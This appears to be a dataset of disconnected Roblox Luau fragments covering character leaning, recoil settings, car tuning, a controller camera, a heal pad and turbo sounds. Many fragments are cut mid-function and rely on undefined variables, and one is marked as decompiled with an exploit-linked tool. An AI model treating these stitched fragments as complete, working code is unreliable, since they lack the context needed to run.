return math.sin(math.rad(L_294_arg1))
end, 0.25)
L_133_(L_10_, CFrame.new(1, 0.0456044674, -0.494239986, 6.82121026e-013, -1.22639676e-011, 1, -0.058873821, 0.998265445, -1.09836602e-011, -0.998265445, -0.058873821, 0), nil, function(L_295_arg1)
return math.sin(math.rad(L_295_arg1))
end, 0.25)
L_133_(L_11_, CFrame.new(-1.00000381, -0.157019258, -0.471293032, -8.7538865e-012, -8.7538865e-012, -1, 0.721672177, 0.692235112, 1.64406284e-011, 0.692235112, -0.721672177, 0), nil, function(L_296_arg1)
return math.sin(math.rad(L_296_arg1))
end, 0.25)
L_133_(L_6_:WaitForChild("Neck"), nil, CFrame.new(0, -0.5, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0), function(L_297_arg1)
return math.sin(math.rad(L_297_arg1))
end, 0.25)
end
function LeanRight()
if L_93_ ~= 2 then
L_115_:FireServer("LeanRight")
L_133_(L_9_, nil, CFrame.new(0, 0.200000003, 0, -0.939692616, 0, -0.342020124, -0.342020124, 0, 0.939692616, 0, 1, 0), function(L_298_arg1)
return math.sin(math.rad(L_298_arg1))
end, 0.25)
L_133_(L_10_, nil, CFrame.new(0.300000012, 0.600000024, 0, 0, 0.342020124, 0.939692616, 0, 0.939692616, -0.342020124, -1, 0, 0), function(L_299_arg1)
return math.sin(math.rad(L_299_arg1))
end, 0.25)
L_133_(L_11_, nil, nil, function(L_300_arg1)
return math.sin(math.rad(L_300_arg1))
end, 0.25)
L_133_(L_6_:WaitForChild("Clone"), nil, CFrame.new(-0.400000006, -0.300000012, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0), function(L_301_arg1)
return math.sin(math.rad(L_301_arg1))
end, 0.25)
if not L_65_ then
L_14_:Create(L_3_:WaitForChild('Humanoid'), TweenInfo.new(0.3), {
CameraOffset = Vector3.new(1, -0.5, 0)
}):Play()
elseif L_65_ then
if L_93_ == 1 then
L_14_:Create(L_3_:WaitForChild('Humanoid'), TweenInfo.new(0.3), {
CameraOffset = Vector3.new(1, -1.5, 0)
}):Play()
end
end;
end
end
function LeanLeft()
if L_93_ ~= 2 then
L_115_:FireServer("LeanLeft")
L_133_(L_9_, nil, CFrame.new(0, 0.200000003, 0, -0.939692616, 0, 0.342020124, 0.342020124, 0, 0.939692616, 0, 1, 0), function(L_302_arg1)
return math.sin(math.rad(L_302_arg1))
end, 0.25)
L_133_(L_10_, nil, nil, function(L_303_arg1)
return math.sin(math.rad(L_303_arg1))
end, 0.25)
L_133_(L_11_, nil, CFrame.new(-0.300000012, 0.600000024, 0, 0, -0.342020124, -0.939692616, 0, 0.939692616, -0.342020124, 1, 0, 0), function(L_304_arg1)
return math.sin(math.rad(L_304_arg1))
end, 0.25)
L_133_(L_6_:WaitForChild("Clone"), nil, CFrame.new(0.400000006, -0.300000012, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0), function(L_305_arg1)
return math.sin(math.rad(L_305_arg1))
end, 0.25)
if not L_65_ then
L_14_:Create(L_3_:WaitForChild('Humanoid'), TweenInfo.new(0.3), {
CameraOffset = Vector3.new(-1, -0.5, 0)
}):Play()
elseif L_65_ then
if L_93_ == 1 then
L_14_:Create(L_3_:WaitForChild('Humanoid'), TweenInfo.new(0.3), {
CameraOffset = Vector3.new(-1, -1.5, 0)
}):Play()
end
end;
end
end
function Unlean()
if L_93_ ~= 2 then
L_115_:FireServer("Unlean")
L_133_(L_9_, nil, CFrame.new(0, 0, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0), function(L_306_arg1)
return math.sin(math.rad(L_306_arg1))
end, 0.25)
L_133_(L_10_, nil, CFrame.new(0.5, 1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0), function(L_307_arg1)
return math.sin(math.rad(L_307_arg1))
end, 0.25)
L_133_(L_11_, nil, CFrame.new(-0.5, 1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0), function(L_308_arg1)
return math.sin(math.rad(L_308_arg1))
end, 0.25)
if L_6_:FindFirstChild('Clone') then
L_133_(L_6_:WaitForChild("Clone"), nil, CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0), function(L_309_arg1)
return math.sin(math.rad(L_309_arg1))
end, 0.25)
end
if not L_65_ then
L_14_:Create(L_3_:WaitForChild('Humanoid'), TweenInfo.new(0.3), {
CameraOffset = Vector3.new(0, 0, 0)
}):Play()
elseif L_65_ then
if L_93_ == 1 then
L_14_:Create(L_3_:WaitForChild('Humanoid'), TweenInfo.new(0.3), {
CameraOffset = Vector3.new(0, -1, 0)
}):Play()
end
end;
end
end
local L_168_ = false
L_110_.InputBegan:connect(function(L_310_arg1, L_311_arg2)
if not L_311_arg2 and L_15_ == true then
if L_15_ then
if L_310_arg1.KeyCode == Enum.KeyCode.C or L_310_arg1.KeyCode == Enum.KeyCode.ButtonB then
if L_93_ == 0 and not L_67_ and L_15_ then
L_93_ = 1
Crouch()
L_94_ = false
L_96_ = true
L_95_ = false
elseif L_93_ == 1 and not L_67_ and L_15_ then
L_93_ = 2
Prone()
L_96_ = false
L_94_ = true
L_95_ = false
L_168_ = true
end
end
if L_310_arg1.KeyCode == Enum.KeyCode.X or L_310_arg1.KeyCode == Enum.KeyCode.ButtonY then
if L_93_ == 2 and not L_67_ and L_15_ then
L_168_ = false
L_93_ = 1
Crouch()
L_94_ = false
L_96_ = true
L_95_ = false
elseif L_93_ == 1 and not L_67_ and L_15_ then
L_93_ = 0
Stand()
L_94_ = false
L_96_ = false
L_95_ = true
end
end
end
end
end)
|
--[[
A utility used to create a function spy that can be used to robustly test
that functions are invoked the correct number of times and with the correct
number of arguments.
This should only be used in tests.
]]
|
local assertDeepEqual = require(script.Parent.assertDeepEqual)
local function createSpy(inner)
local self = {}
self.callCount = 0
self.values = {}
self.valuesLength = 0
self.value = function(...)
self.callCount = self.callCount + 1
self.values = { ... }
self.valuesLength = select("#", ...)
if inner ~= nil then
return inner(...)
end
return nil
end
self.assertCalledWith = function(_, ...)
local len = select("#", ...)
if self.valuesLength ~= len then
error(("Expected %d arguments, but was called with %d arguments"):format(self.valuesLength, len), 2)
end
for i = 1, len do
local expected = select(i, ...)
assert(self.values[i] == expected, "value differs")
end
end
self.assertCalledWithDeepEqual = function(_, ...)
local len = select("#", ...)
if self.valuesLength ~= len then
error(("Expected %d arguments, but was called with %d arguments"):format(self.valuesLength, len), 2)
end
for i = 1, len do
local expected = select(i, ...)
assertDeepEqual(self.values[i], expected)
end
end
self.captureValues = function(_, ...)
local len = select("#", ...)
local result = {}
assert(self.valuesLength == len, "length of expected values differs from stored values")
for i = 1, len do
local key = select(i, ...)
result[key] = self.values[i]
end
return result
end
setmetatable(self, {
__index = function(_, key)
error(("%q is not a valid member of spy"):format(key))
end,
})
return self
end
return createSpy
|
--// Recoil Settings
|
gunrecoil = -0.75; -- How much the gun recoils backwards when not aiming
camrecoil = 1.1; -- How much the camera flicks when not aiming
AimGunRecoil = -0.6; -- How much the gun recoils backwards when aiming
AimCamRecoil = 1; -- How much the camera flicks when aiming
CamShake = 1; -- THIS IS NEW!!!! CONTROLS CAMERA SHAKE WHEN FIRING
AimCamShake = 1; -- THIS IS ALSO NEW!!!!
Kickback = 6; -- Upward gun rotation when not aiming
AimKickback = 2; -- Upward gun rotation when aiming
|
-- these accept or return opcodes in the form of string names
|
function luaP:GET_OPCODE(i) return self.ROpCode[i.OP] end
function luaP:SET_OPCODE(i, o) i.OP = self.OpCode[o] end
function luaP:GETARG_A(i) return i.A end
function luaP:SETARG_A(i, u) i.A = u end
function luaP:GETARG_B(i) return i.B end
function luaP:SETARG_B(i, b) i.B = b end
function luaP:GETARG_C(i) return i.C end
function luaP:SETARG_C(i, b) i.C = b end
function luaP:GETARG_Bx(i) return i.Bx end
function luaP:SETARG_Bx(i, b) i.Bx = b end
function luaP:GETARG_sBx(i) return i.Bx - self.MAXARG_sBx end
function luaP:SETARG_sBx(i, b) i.Bx = b + self.MAXARG_sBx end
function luaP:CREATE_ABC(o,a,b,c)
return {OP = self.OpCode[o], A = a, B = b, C = c}
end
function luaP:CREATE_ABx(o,a,bc)
return {OP = self.OpCode[o], A = a, Bx = bc}
end
|
--[[
CLIMAXIMUS's Saving Script.
Equipped with the best of scripting.
( Must be put in ServerScriptService(Reccomended!) or workspace. )
]]
|
--
gameStats = { --[[ <-- Player can save his stats on command ]]
["DoChat?"] = {
["DoIt?"] = true;
["Keywords"] = {
"/save"; "/ save";
":save"; ": save"
}
};
["DoMessages?"] = false; --[[ <-- Reminder of saving/loading ]]
["IsAnObby?"] = false; --[[ <-- Respawns the character to fix loading ]]
saveType = {
["Normal?"] = true; --[[ <-- Set to false if other ]]
["SavingList?"] = { --[[ <-- Specific wanted admins ]]
["DoIt?"] = false;
theList = {
"Name1";
"Name2";
"Name3"
}
};
["BestFriends?"] = false; --[[ <-- Best friends of your's only. ]]
["Friends?"] = false; --[[ <-- Friends of your's only. ]]
["OwnerOnly?"] = false; --[[ <-- Only you have saving stats ]]
["Gamepass?"] = { --[[ <-- Needs a gamepass to save ]]
["DoIt?"] = false;
["GamepassId"] = 000000
};
["Asset/Item?"] = { --[[ Such as a T-Shirt ]]
["DoIt?"] = false;
["AssetId"] = 000000
}
};
}
|
--[[Transmission]]
|
Tune.TransModes = {"Auto", "Semi", "Manual"} --[[
[Modes]
"Auto" : Automatic shifting
"Semi" : Clutchless manual shifting, dual clutch transmission
"Manual" : Manual shifting with clutch
>Include within brackets
eg: {"Semi"} or {"Auto", "Manual"}
>First mode is default mode ]]
--Automatic Settings
Tune.AutoShiftMode = "Speed" --[[
[Modes]
"Speed" : Shifts based on wheel speed
"RPM" : Shifts based on RPM ]]
Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev)
Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev)
--Gear Ratios
Tune.FinalDrive = 4.00 -- Gearing determines top speed and wheel torque
Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed
--[[Reverse]] 4.00 , -- Copy and paste a ratio to add a gear
--[[Neutral]] 0 , -- Ratios can also be deleted
--[[ 1 ]] 7.00 , -- Reverse, Neutral, and 1st gear are required
--[[ 2 ]] 6.00 ,
--[[ 3 ]] 5.00 ,
--[[ 4 ]] 4.00 ,
--[[ 5 ]] 3.00 ,
--[[ 6 ]] 2.00 ,
--[[ 7 ]] 1.00
}
Tune.FDMult = 10 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
|
--------------------------------------------------------------------------------
|
HealPart.Touched:Connect(function(HitPart)
local Player = Players:GetPlayerFromCharacter(HitPart.Parent)
local Humanoid = HitPart.Parent:FindFirstChild("Humanoid")
if Player and Humanoid then
local Magnitude = (HitPart.Parent:GetPivot().Position - HealPart.Position).Magnitude
if Magnitude < 100 then -- The client can move this with them on the client-side, and touch events will still pass. Just makes it a tiny bit more tedious, cause then they'd have to TP :3
if Cooldown[Player] then
return
end
Cooldown[Player] = true
Humanoid.Health = Humanoid.MaxHealth
Fountain.Healed:FireClient(Player, workspace:GetServerTimeNow())
task.wait(Timer)
Cooldown[Player] = nil
end
end
end)
|
--local part,pos,norm,mat = workspace:FindPartOnRay(ray,shelly)
--shelly:MoveTo(Vector3.new(shelly.PrimaryPart.Position.X,pos.Y+2.25,shelly.PrimaryPart.Position.Z))
--bp.Position = Vector3.new(bp.Position.X,pos.Y+2.25,bp.Position.Z)
|
until (shelly.PrimaryPart.Position-goal).magnitude < 10 or tick()-start >15
|
--Script by UnActivatedWindows10 (nullerror404deleted)
--Have fun using this!
| |
--p.Ground(part"because cframe and position", zone size, size of part, number how many part spawn, time delay and remove)
| |
--[[
Keyboard Character Control - This module handles controlling your avatar from a keyboard
2018 PlayerScripts Update - AllYourBlox
--]]
| |
--[=[
@private
@class StaticLegacyLoader
]=]
|
local loader = script.Parent
local ScriptInfoUtils = require(script.Parent.ScriptInfoUtils)
local LoaderUtils = require(script.Parent.LoaderUtils)
local BounceTemplateUtils = require(script.Parent.BounceTemplateUtils)
local StaticLegacyLoader = {}
StaticLegacyLoader.ClassName = "StaticLegacyLoader"
StaticLegacyLoader.__index = StaticLegacyLoader
function StaticLegacyLoader.new()
local self = setmetatable({
_packageLookups = {};
}, StaticLegacyLoader)
return self
end
function StaticLegacyLoader:__call(value)
return self:Require(value)
end
function StaticLegacyLoader:Lock()
error("Cannot start loader while not running")
end
function StaticLegacyLoader:Require(root, value)
if type(value) == "number" then
return require(value)
elseif type(value) == "string" then
-- use very slow module recovery mechanism
local module = self:_findModule(root, value)
if module then
self:_ensureFakeLoader(module)
return require(module)
else
error("Error: Library '" .. tostring(value) .. "' does not exist.", 2)
end
elseif typeof(value) == "Instance" and value:IsA("ModuleScript") then
return require(value)
else
error(("Error: module must be a string or ModuleScript, got '%s' for '%s'")
:format(typeof(value), tostring(value)))
end
end
function StaticLegacyLoader:_findModule(root, name)
assert(typeof(root) == "Instance", "Bad root")
assert(type(name) == "string", "Bad name")
-- Implement the node_modules recursive find algorithm
local packageRoot = self:_findPackageRoot(root)
while packageRoot do
-- Build lookup
local highLevelLookup = self:_getOrCreateLookup(packageRoot)
if highLevelLookup[name] then
return highLevelLookup[name]
end
-- Ok, search our package dependencies
local dependencies = packageRoot:FindFirstChild(ScriptInfoUtils.DEPENDENCY_FOLDER_NAME)
if dependencies then
for _, instance in pairs(dependencies:GetChildren()) do
if instance:IsA("Folder") and instance.Name:sub(1, 1) == "@" then
for _, child in pairs(instance:GetChildren()) do
local lookup = self:_getPackageFolderLookup(child)
if lookup[name] then
return lookup[name]
end
end
else
local lookup = self:_getPackageFolderLookup(instance)
if lookup[name] then
return lookup[name]
end
end
end
end
-- We failed to find anything... search up a level...
packageRoot = self:_findPackageRoot(packageRoot)
end
return nil
end
function StaticLegacyLoader:GetLoader(moduleScript)
assert(typeof(moduleScript) == "Instance", "Bad moduleScript")
return setmetatable({}, {
__call = function(_self, value)
return self:Require(moduleScript, value)
end;
__index = function(_self, key)
return self:Require(moduleScript, key)
end;
})
end
function StaticLegacyLoader:_getPackageFolderLookup(instance)
if instance:IsA("ObjectValue") then
if instance.Value then
return self:_getOrCreateLookup(instance.Value)
else
warn("[StaticLegacyLoader] - Bad link in packageFolder")
return {}
end
elseif instance:IsA("Folder") then
return self:_getOrCreateLookup(instance)
elseif instance:IsA("ModuleScript") then
return self:_getOrCreateLookup(instance)
else
warn(("Unknown instance %q (%s) in dependencyFolder - %q")
:format(instance.Name, instance.ClassName, instance:GetFullName()))
return {}
end
end
function StaticLegacyLoader:_getOrCreateLookup(packageFolderOrModuleScript)
assert(typeof(packageFolderOrModuleScript) == "Instance", "Bad packageFolderOrModuleScript")
if self._packageLookups[packageFolderOrModuleScript] then
return self._packageLookups[packageFolderOrModuleScript]
end
local lookup = {}
self:_buildLookup(lookup, packageFolderOrModuleScript)
self._packageLookups[packageFolderOrModuleScript] = lookup
return lookup
end
function StaticLegacyLoader:_buildLookup(lookup, instance)
if instance:IsA("Folder") then
if instance.Name ~= ScriptInfoUtils.DEPENDENCY_FOLDER_NAME then
for _, item in pairs(instance:GetChildren()) do
self:_buildLookup(lookup, item)
end
end
elseif instance:IsA("ModuleScript") then
lookup[instance.Name] = instance
end
end
function StaticLegacyLoader:_findPackageRoot(instance)
assert(typeof(instance) == "Instance", "Bad instance")
local current = instance.Parent
while current and current ~= game do
if LoaderUtils.isPackage(current) then
return current
else
current = current.Parent
end
end
return nil
end
function StaticLegacyLoader:_ensureFakeLoader(module)
assert(typeof(module) == "Instance", "Bad module")
local parent = module.Parent
if not parent then
warn("[StaticLegacyLoader] - No parent")
return
end
-- NexusUnitTest
-- luacheck: ignore
-- selene: allow(undefined_variable)
local shouldBeArchivable = Load and true or false
-- Already have link
local found = parent:FindFirstChild("loader")
if found then
if BounceTemplateUtils.isBounceTemplate(found) then
found.Archivable = shouldBeArchivable
end
return
end
local link = BounceTemplateUtils.create(loader, "loader")
link.Archivable = shouldBeArchivable
link.Parent = parent
end
return StaticLegacyLoader
|
--[=[
@param thumbstick Enum.KeyCode
@param deadzoneThreshold number?
@return Vector2
Gets the position of the given thumbstick. The two thumbstick
KeyCodes are `Enum.KeyCode.Thumbstick1` and `Enum.KeyCode.Thumbstick2`.
If `deadzoneThreshold` is not included, the `DefaultDeadzone` value is
used instead.
```lua
local leftThumbstick = gamepad:GetThumbstick(Enum.KeyCode.Thumbstick1)
print("Left thumbstick position", leftThumbstick)
```
]=]
|
function Gamepad:GetThumbstick(thumbstick: Enum.KeyCode, deadzoneThreshold: number?): Vector2
local pos = self.State[thumbstick].Position
local deadzone = deadzoneThreshold or self.DefaultDeadzone
return Vector2.new(
ApplyDeadzone(pos.X, deadzone),
ApplyDeadzone(pos.Y, deadzone)
)
end
|
-- Decompiled with the Synapse X Luau decompiler.
|
script.Parent.RemoteEvent.OnClientEvent:Connect(function()
local v1 = script.Parent.WeightImage:Clone();
v1.Parent = script.Parent;
v1:TweenPosition(UDim2.new(0.7, 0, 0.5, 0), Enum.EasingDirection.Out, Enum.EasingStyle.Elastic, 0.5, true);
v1.Visible = true;
game:GetService("Debris"):AddItem(v1, 1);
coroutine.resume(coroutine.create(function()
for v2 = 1, 15 do
game.Players.LocalPlayer.Character.Humanoid.CameraOffset = Vector3.new(math.random(-100, 100) / 1000, math.random(-100, 100) / 1000, math.random(-100, 100) / 1000);
wait();
end;
game.Players.LocalPlayer.Character.Humanoid.CameraOffset = Vector3.new(0, 0, 0);
end));
while wait() do
v1.Rotation = v1.Rotation + 10;
end;
end);
game.ReplicatedStorage.Hit.OnClientEvent:Connect(function(p1)
script.Parent.Hit.Text = "Hit " .. p1;
script.Parent.Hit.Visible = true;
workspace.Ding:Play();
for v3 = 1, 10 do
script.Parent.Hit.Rotation = 5;
wait(0.1);
script.Parent.Hit.Rotation = -5;
wait(0.1);
end;
script.Parent.Hit.Rotation = 0;
script.Parent.Hit.Visible = false;
end);
|
---Controller
|
local Controller=false
local UserInputService = game:GetService("UserInputService")
local LStickX = 0
local RStickX = 0
local RStickY = 0
local RTriggerValue = 0
local LTriggerValue = 0
local ButtonX = 0
local ButtonY = 0
local ButtonL1 = 0
local ButtonR1 = 0
local ButtonR3 = 0
local DPadUp = 0
function DealWithInput(input,IsRobloxFunction)
if Controller then
if input.KeyCode ==Enum.KeyCode.ButtonX then
if input.UserInputState == Enum.UserInputState.Begin then
ButtonX=1
elseif input.UserInputState == Enum.UserInputState.End then
ButtonX=0
end
elseif input.KeyCode ==Enum.KeyCode.ButtonY then
if input.UserInputState == Enum.UserInputState.Begin then
ButtonY=1
elseif input.UserInputState == Enum.UserInputState.End then
ButtonY=0
end
elseif input.KeyCode ==Enum.KeyCode.ButtonL1 then
if input.UserInputState == Enum.UserInputState.Begin then
ButtonL1=1
elseif input.UserInputState == Enum.UserInputState.End then
ButtonL1=0
end
elseif input.KeyCode ==Enum.KeyCode.ButtonR1 then
if input.UserInputState == Enum.UserInputState.Begin then
ButtonR1=1
elseif input.UserInputState == Enum.UserInputState.End then
ButtonR1=0
end
elseif input.KeyCode ==Enum.KeyCode.DPadLeft then
if input.UserInputState == Enum.UserInputState.Begin then
DPadUp=1
elseif input.UserInputState == Enum.UserInputState.End then
DPadUp=0
end
elseif input.KeyCode ==Enum.KeyCode.ButtonR3 then
if input.UserInputState == Enum.UserInputState.Begin then
ButtonR3=1
elseif input.UserInputState == Enum.UserInputState.End then
ButtonR3=0
end
end
if input.UserInputType.Name:find("Gamepad") then --it's one of 4 gamepads
if input.KeyCode == Enum.KeyCode.Thumbstick1 then
LStickX = input.Position.X
elseif input.KeyCode == Enum.KeyCode.Thumbstick2 then
RStickX = input.Position.X
RStickY = input.Position.Y
elseif input.KeyCode == Enum.KeyCode.ButtonR2 then--right shoulder
RTriggerValue = input.Position.Z
elseif input.KeyCode == Enum.KeyCode.ButtonL2 then--left shoulder
LTriggerValue = input.Position.Z
end
end
end
end
UserInputService.InputBegan:connect(DealWithInput)
UserInputService.InputChanged:connect(DealWithInput)--keyboards don't activate with Changed, only Begin and Ended. idk if digital controller buttons do too
UserInputService.InputEnded:connect(DealWithInput)
car.DriveSeat.ChildRemoved:connect(function(child)
if child.Name=="SeatWeld" then
for i,v in pairs(Binded) do
run:UnbindFromRenderStep(v)
end
workspace.CurrentCamera.CameraType=Enum.CameraType.Custom
workspace.CurrentCamera.FieldOfView=70
player.CameraMaxZoomDistance=200
end
end)
function Camera()
local cam=workspace.CurrentCamera
local intcam=false
local CRot=0
local CBack=0
local CUp=0
local mode=0
local look=0
local camChange = 0
local function CamUpdate()
if not pcall (function()
if camChange==0 and DPadUp==1 then
intcam = not intcam
end
camChange=DPadUp
if mode==1 then
if math.abs(RStickX)>.1 then
local sPos=1
if RStickX<0 then sPos=-1 end
if intcam then
CRot=sPos*math.abs(((math.abs(RStickX)-.1)/(.9)))*-80
else
CRot=sPos*math.abs(((math.abs(RStickX)-.1)/(.9)))*-90
end
else
CRot=0
end
if math.abs(RStickY)>.1 then
local sPos=1
if RStickY<0 then sPos=-1 end
if intcam then
CUp=sPos*math.abs(((math.abs(RStickY)-.1)/(.9)))*30
else
CUp=math.min(sPos*math.abs(((math.abs(RStickY)-.1)/(.9)))*-75,30)
end
else
CUp=0
end
else
if CRot>look then
CRot=math.max(look,CRot-20)
elseif CRot<look then
CRot=math.min(look,CRot+20)
end
CUp=0
end
if intcam then
CBack=0
else
CBack=-180*ButtonR3
end
if intcam then
cam.CameraSubject=player.Character.Humanoid
cam.CameraType=Enum.CameraType.Scriptable
cam.FieldOfView=70 + car.DriveSeat.Velocity.Magnitude/40
player.CameraMaxZoomDistance=5
local cf=car.Body.Cam.CFrame
if ButtonR3==1 then
cf=car.Body.RCam.CFrame
end
cam.CoordinateFrame=cf*CFrame.Angles(0,math.rad(CRot+CBack),0)*CFrame.Angles(math.rad(CUp),0,0)
else
cam.CameraSubject=car.DriveSeat
cam.FieldOfView=70
if mode==0 then
cam.CameraType=Enum.CameraType.Custom
player.CameraMaxZoomDistance=400
run:UnbindFromRenderStep("CamUpdate")
else
cam.CameraType = "Scriptable"
local pspeed = math.min(1,car.DriveSeat.Velocity.Magnitude/500)
local cc = car.DriveSeat.Position+Vector3.new(0,8+(pspeed*2),0)-((car.DriveSeat.CFrame*CFrame.Angles(math.rad(CUp),math.rad(CRot+CBack),0)).lookVector*17)+(car.DriveSeat.Velocity.Unit*-7*pspeed)
cam.CoordinateFrame = CFrame.new(cc,car.DriveSeat.Position)
end
end
end) then
cam.FieldOfView=70
cam.CameraSubject=player.Character.Humanoid
cam.CameraType=Enum.CameraType.Custom
player.CameraMaxZoomDistance=400
run:UnbindFromRenderStep("CamUpdate")
end
end
local function ModeChange()
if GMode~=mode then
mode=GMode
run:BindToRenderStep("CamUpdate",Enum.RenderPriority.Camera.Value,CamUpdate)
end
end
mouse.KeyDown:connect(function(key)
if key=="z" then
look=50
elseif key=="x" then
if intcam then
look=-160
else
look=-180
end
elseif key=="c" then
look=-50
elseif key=="v" then
run:UnbindFromRenderStep("CamUpdate")
intcam=not intcam
run:BindToRenderStep("CamUpdate",Enum.RenderPriority.Camera.Value,CamUpdate)
end
end)
mouse.KeyUp:connect(function(key)
if key=="z" and look==50 then
look=0
elseif key=="x" and (look==-160 or look==-180) then
look=0
elseif key=="c" and look==-50 then
look=0
end
end)
run:BindToRenderStep("CMChange",Enum.RenderPriority.Camera.Value,ModeChange)
table.insert(Binded,"CamUpdate")
table.insert(Binded,"CMChange")
end
Camera()
mouse.KeyDown:connect(function(key)
if key=="b" then
if GMode>=1 then
GMode=0
else
GMode=GMode+1
end
if GMode==1 then
Controller=true
else
Controller=false
end
end
end)
|
--//White List
|
local settings = require(module)
game.Players.PlayerAdded:Connect(function(player)
local canUse = true
if #settings.WhiteList > 0 then --There is a whitelist
canUse = false
for _,id in pairs(settings.WhiteList) do
if id == player.UserId then
canUse = true
break
end
end
end
--Give player the local script
if canUse then
player.CharacterAdded:Connect(function(char)
script["DoubleJump - Local"]:Clone().Parent = char
end)
if player.Character then
script["DoubleJump - Local"]:Clone().Parent = player.Character
end
end
end)
|
-- This module enables you to place Zone wherever you like within the data model while
-- still enabling third-party applications (such as HDAdmin/Nanoblox) to locate it
-- This is necessary to prevent two ZonePlus applications initiating at runtime which would
-- diminish it's overall efficiency
|
local replicatedStorage = game:GetService("ReplicatedStorage")
local ZonePlusReference = {}
function ZonePlusReference.addToReplicatedStorage()
local existingItem = replicatedStorage:FindFirstChild(script.Name)
if existingItem then
return false
end
local objectValue = Instance.new("ObjectValue")
objectValue.Name = script.Name
objectValue.Value = script.Parent
objectValue.Parent = replicatedStorage
local locationValue = Instance.new("BoolValue")
locationValue.Name = (game:GetService("RunService"):IsClient() and "Client") or "Server"
locationValue.Value = true
locationValue.Parent = objectValue
return objectValue
end
function ZonePlusReference.getObject()
local objectValue = replicatedStorage:FindFirstChild(script.Name)
if objectValue then
return objectValue
end
return false
end
return ZonePlusReference
|
--Both
|
local Loudness = 9 --volume of the boost supplier (not exact volume so you kinda have to experiment with it also)
script:WaitForChild("Whistle")
script:WaitForChild("Whine")
script:WaitForChild("BOV")
for i,v in pairs(car.DriveSeat:GetChildren()) do
for _,a in pairs(script:GetChildren()) do
if v.Name==a.Name then v:Stop() wait() v:Destroy() end
end
end
car.DriveSeat.ChildRemoved:connect(function(child)
if child.Name=="SeatWeld" then
for i,v in pairs(car.DriveSeat:GetChildren()) do
for _,a in pairs(script:GetChildren()) do
if v.Name==a.Name then v:Stop() wait() v:Destroy() end
end
end
end
end)
if not _Tune.Engine then return end
handler:FireServer("newSound","Whistle",car.DriveSeat,script.Whistle.SoundId,0,script.Whistle.Volume,true)
handler:FireServer("newSound","Whine",car.DriveSeat,script.Whine.SoundId,0,script.Whine.Volume,true)
handler:FireServer("newSound","BOV",car.DriveSeat,script.BOV.SoundId,0,script.BOV.Volume,true)
handler:FireServer("playSound","Whistle")
handler:FireServer("playSound","Whine")
car.DriveSeat:WaitForChild("Whistle")
car.DriveSeat:WaitForChild("Whine")
car.DriveSeat:WaitForChild("BOV")
local ticc = tick()
local _TCount = 0
if _Tune.Aspiration == "Single" or _Tune.Aspiration == "Super" then _TCount = 1 elseif _Tune.Aspiration == "Double" then _TCount = 2 end
while wait() do
local psi = (((script.Parent.Values.Boost.Value)/(_Tune.Boost*_TCount))*2)
--(script.Parent.Values.RPM.Value/_Tune.Redline)
local WP,WV,BP,BV,HP,HV = 0
BOVact = math.floor(psi*20)
if _Tune.Aspiration == "Single" or _Tune.Aspiration == "Double" then
WP = (psi)
WV = (psi/4)*Loudness
BP = (1-(-psi/20))*BOV_Pitch
BV = (((-0.5+((psi/2)*BOV_Loudness)))*(1 - script.Parent.Values.Throttle.Value))
if BOVact < BOVact2 then if car.DriveSeat.BOV.IsPaused then if FE then handler:FireServer("playSound","BOV") else car.DriveSeat.BOV:Play() end end end
if BOVact >= BOVact2 then if FE then handler:FireServer("stopSound","BOV") else car.DriveSeat.BOV:Stop() end end
elseif _Tune.Aspiration == "Super" then
psi = psi/2
HP = (script.Parent.Values.RPM.Value/_Tune.Redline)*Whine_Pitch
HV = (psi/4)*Loudness
end
handler:FireServer("updateSound","Whistle",script.Whistle.SoundId,WP,WV)
handler:FireServer("updateSound","Whine",script.Whine.SoundId,HP,HV)
handler:FireServer("updateSound","BOV",script.BOV.SoundId,BP,BV)
if (tick()-ticc) >= 0.1 then
BOVact2 = math.floor(psi*20)
ticc = tick()
end
end
|
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